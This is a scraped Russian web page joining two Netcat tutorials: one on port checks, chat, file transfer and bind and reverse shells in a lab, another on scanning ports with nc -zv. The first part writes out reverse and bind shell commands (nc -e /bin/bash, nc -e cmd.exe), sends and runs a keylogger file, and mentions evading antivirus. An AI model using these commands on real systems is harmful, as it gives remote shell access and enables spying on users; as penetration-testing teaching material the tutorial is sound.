Прослушка портов на linux

Что такое Netcat? Bind Shell и Reverse Shell в действии

В этой статье мы поговорим о том, что такое Netcat и с помощью него реализуем Bind и Reverse Shell соответственно.

Netcat

Netcat, впервые выпущенный в 1995 году (!), является одним из «оригинальных» инструментов тестирования на проникновение в сеть. Netcat настолько универсален, что вполне оправдывает авторское название «швейцарский армейский нож» хакера. Самое четкое определение Netcat дают сами разработчики: «простая утилита, которая считывает и записывает данные через сетевые соединения, используя протоколы TCP или UDP».

Подключение к порту TCP/UDP

Как следует из описания, Netcat может работать как в режиме клиента, так и в режиме сервера. Для начала давайте рассмотрим клиентский режим. Мы можем использовать клиентский режим для подключения к любому порту TCP/UDP, что позволяет нам: Проверить, открыт или закрыт порт или подключиться к сетевой службе.

Давайте начнем с использования Netcat (nc), чтобы проверить, открыт ли порт 80 на тестируемой машине (в качестве тестируемой машины мы будем использовать основную машину на которой установлена ВМ . ).

Мы введем несколько аргументов: опцию -n, чтобы отключить DNS и поиск номеров портов по /etc/services; -v для вывода информации о процессе работы; IP-адрес назначения; и номер порта назначения:

P.S. Чтобы узнать IP-адрес основной машины выполните команду ipconfig в командной строке если у вас основная машина Windows, и ifconfig если у вас Linux или MacOS.

kali@kali:~$ nc -nv 192.168.0.178 80

TCP-соединение с 192.168.0.178 прошло успешно, поэтому Netcat сообщает, что удаленный порт открыт.

Прослушивание портов TCP/UDP

Прослушивание порта TCP/UDP с помощью Netcat полезно для сетевой отладки клиентских приложений или получения сетевого соединения TCP/UDP. Давайте попробуем реализовать простую службу чата с участием двух машин, используя Netcat как в качестве клиента, так и в качестве сервера. На машине Windows с IP-адресом 192.168.0.178 был настроен Netcat на прослушивания входящих соединений на порту TCP 4444. Мы будем использовать опцию -n для отключения DNS, -l для для создания слушателя, опцию -v и -p для указания номера порта прослушивания:

C:\Program Files\nc111nt> nc -nlvp 4444

Теперь давайте подключимся к этому порту с нашей Linux-машины:

kali@kali:~$ nc -nv 192.168.0.178 4444

Читайте также:  What is print command in linux

И напишем что-нибудь. Например «Hello». Наш текст будет отправлен на машину Windows через TCP-порт 4444:

Мы можем продолжить чат с машины Windows:

Хотя этот пример не очень интересен, но он демонстрирует несколько важных возможностей Netcat. Прежде чем продолжить, постарайтесь ответить на такие важные вопросы как: Какая машина выступала в качестве сервера Netcat? Какая машина выступала в роли клиента Netcat? На какой машине был открыт порт 4444? В чем разница в синтаксисе командной строки между клиентом и сервером?

Передача файлов с помощью Netcat

Netcat также можно использовать для передачи файлов, как текстовых, так и бинарных, с одного компьютера на другой. Чтобы отправить файл с нашей виртуальной машины Kali на систему Windows, мы инициируем настройку, похожую на предыдущий пример с чатом, с некоторыми небольшими отличиями. На машине Windows мы установим слушателя Netcat на порт 4444 и перенаправим вывод в файл под названием incoming.exe:

C:\Program Files\nc111nt> nc -nlvp 4444 > incoming.exe

В системе Kali мы передадим файл klogger.exe на машину Windows через TCP-порт 4444:

Обратите внимание, что мы не получили от Netcat никакой обратной связи о ходе загрузки файла. Мы можем просто подождать несколько секунд, а затем проверить, полностью ли загружен файл. Файл был полностью загружен на машину Windows, попытаемся запустить его:

C:\Program Files\nc111nt> incoming.exe -h

Как вы видите передача и запуск файла klogger.exe выполнены успешно! P.S. В одном из уроков я расскажу как сделать так, чтобы антивирус не «детектил» файлы и исполняемые модули. А пока двигаемся дальше.

Удаленное администрирование с помощью Netcat

Одной из самых полезных функций Netcat является возможность перенаправления команд. Версия netcat-traditional (версия Netcat скомпилированная с флагом «-DGAPING_SECURITY_HOLE») включает опцию -e, которая выполняет программу после установления или получения успешного соединения. Эта мощная функция открывала интересные возможности с точки зрения безопасности и поэтому недоступна в большинстве современных систем Linux/BSD. Однако, в связи с тем, что Kali Linux является дистрибутивом для тестирования на проникновение, версия Netcat, включенная в Kali, поддерживает опцию -e. Если эта опция включена, она может перенаправлять входные, выходные данные и сообщения об ошибках исполняемого файла на TCP/UDP порт, а не на консоль по умолчанию. Например, рассмотрим исполняемый файл cmd.exe. Мы можем привязать cmd.exe к локальному порту и перенаправить STDIN, STDOUT и STDERR в сеть. Давайте рассмотрим несколько сценариев:

Сценарий Netcat Bind Shell

В нашем первом сценарии Миша (работающий под управлением Windows) обратился за помощью к Кате (работающей под управлением Linux) и попросил ее подключиться к его компьютеру и отдать некоторые команды удаленно. Миша имеет публичный IP-адрес и напрямую подключен к Интернету. Катя, однако, находится за NAT и имеет внутренний IP-адрес. Мише нужно привязать cmd.exe к порту TCP на его публичном IP-адресе и попросить Катю подключиться к его определенному IP-адресу и порту. Миша запустит Netcat с параметром -e для выполнения cmd.exe:

Читайте также:  Ide python под linux

C:\Program Files\nc111nt> nc -nlvp 4444 -e cmd.exe

Теперь Netcat привязал TCP порт 4444 к cmd.exe и будет перенаправлять любые входные, выходные данные или сообщения об ошибках от cmd.exe в сеть. Другими словами, любой человек, подключающийся к TCP порту 4444 на машине Миши (надеемся, что Катя), будет видеть командную строку Миши. Это действительно «зияющая дыра в безопасности»!

kali@kali:~$ nc -nv 192.168.0.178 4444

Как мы видим, все работает так, как и ожидалось. На следующем изображении показан этот сценарий:

Сценарий Reverse Shell

В нашем втором сценарии Катя нуждается в помощи Миши. В этом сценарии мы можем использовать еще одну полезную функцию Netcat — возможность посылать команды на хост, прослушивающий определенный порт. В этой ситуации, Катя не может (по сценарию) привязать порт 4444 для /bin/bash локально (bind shell) на своем компьютере и ожидать подключения Миши, но она может передать управление своим bash на компьютер Миши. Это называется reverse shell. Чтобы это заработало, Миша сначала настроит Netcat на прослушивание. В нашем примере мы будем использовать порт 4444:

C:\Program Files\nc111nt> nc -nlvp 4444

Теперь Катя может отправить Мише обратный shell (reverse shell) со своей Linux-машины. И снова мы используем опцию -e, чтобы сделать приложение доступным удаленно, которым в данном случае является /bin/bash, оболочка Linux:

kali@kali:~$ nc -nv 192.168.0.178 4444 -e /bin/bash

Как только соединение будет установлено, Netcat Кати перенаправит /bin/bash входные, выходные и данные об ошибках на машину Миши, на порт 4444, и Миша сможет взаимодействовать с этой оболочкой:

На следующем изображении показан сценарий обратного шелла (reverse shell), в котором Миша получает удаленный доступ к командной оболочке на машине Кати, преодолевая корпоративный брандмауэр:

Источник

Как проверить открытые порты с помощью NetCat

Иногда требуется проверить проходит ли запрос до определённого порта сервера. Один из способов сделать это — воспользоваться консольной программой NetCat. Она может не только определить состояние порта, но и вернуть ответ сервера с него и даже про сканировать диапазон портов. Но в этой статье мы рассмотрим только определение факта того, что порт открыт.

Проверка одного порта через NetCat

На дистрибутивах Linux из коробки можно часто найти пакет NetCat. С её помощью можно проверять как TCP, так и UDP порты. К примеру, вот команда для проверки доступа к порту:

Читайте также:  Linux unload kernel module

Ключ «z» указывает на то, что не надо отправлять никаких данных. Если не поставить этот ключ, то после выполнения команды сначала будет дан ответ удалось или не удалось соединиться с портом, а потом появится программа будет ждать ввода пользовательских данных в терминал. В таком случае необходимо набрать данные и нажать Enter для их отправки. Но когда необходимо только проверить доступность порта, то ключ «z» ставится.

Ключ «v» указывает на то, что должен быть распечатан результат запроса (есть или нет соединения). Продемонстрируем работу на примере проверки доступа доступ к 80-ому TCP порту на ip адресе 8.8.8.8:

nc -zv 8.8.8.8 80 Connection to 8.8.8.8 80 port [tcp/http] succeeded!

Сканирование диапазона портов NetCat

Иногда требуется просканировать целый диапазон портов. Это можно сделать с помощью NetCat, указав порты начала и окончания процедуры через тире:

nc -vz 8.8.8.8 80-83 Connection to 8.8.8.8 80 port [tcp/http] succeeded! nc: connect to 8.8.8.8 port 81 (tcp) failed: No route to host nc: connect to 8.8.8.8 port 82 (tcp) failed: No route to host nc: connect to 8.8.8.8 port 83 (tcp) failed: No route to host

По результатам скаирования видно, что открыт только 80-ый порт. Остальные порты закрыты.

Если закрытых портов слишком много, то логично будет скрыть их из вывода. Сделать это можно, передав вывод команды в конвейер и сделав отсев по слову «succeeded» через «grep»:

nc -vz 8.8.8.8 80-83 Connection to 8.8.8.8 80 port [tcp/http] succeeded!

Прослушивание порта NetCat

Как было сказано ранее, с помощью NetCat можно отправлять на порты произвольные данные (текст). Для этого надо лишь не ставить ключ «z». Но эта команда ещё умеет и прослушивать определённые порты. Чтобы начать прослушивание порта, нужно выполнить такую команду с ключом «l» (строчная L) и номером порта:

После выполнения этой команды курсор терминала остановится на следующей строке. Программа будет слушать порт и распечатывать все данные, которые приходят на него.

Чат с помощью NetCat

Как можно догадаться, если запустить на двух устройствах два экземпляра NetCat для отправки и прослушивания портов, то получится простейший чат.

Для этого надо открыть два терминала. В одном будет распечатываться принятые сообщения, а в другом будет ввод для отправки. Но нужно заранее договориться о портах. К примеру, один собеседник отправляет сообщения на порт 5000, а принимает по 5001. Второй наоборот — слушает 5000 и отправляет на 5001. А команда отправки у первого будет выглядеть так:

Источник

Оцените статью
Adblock
detector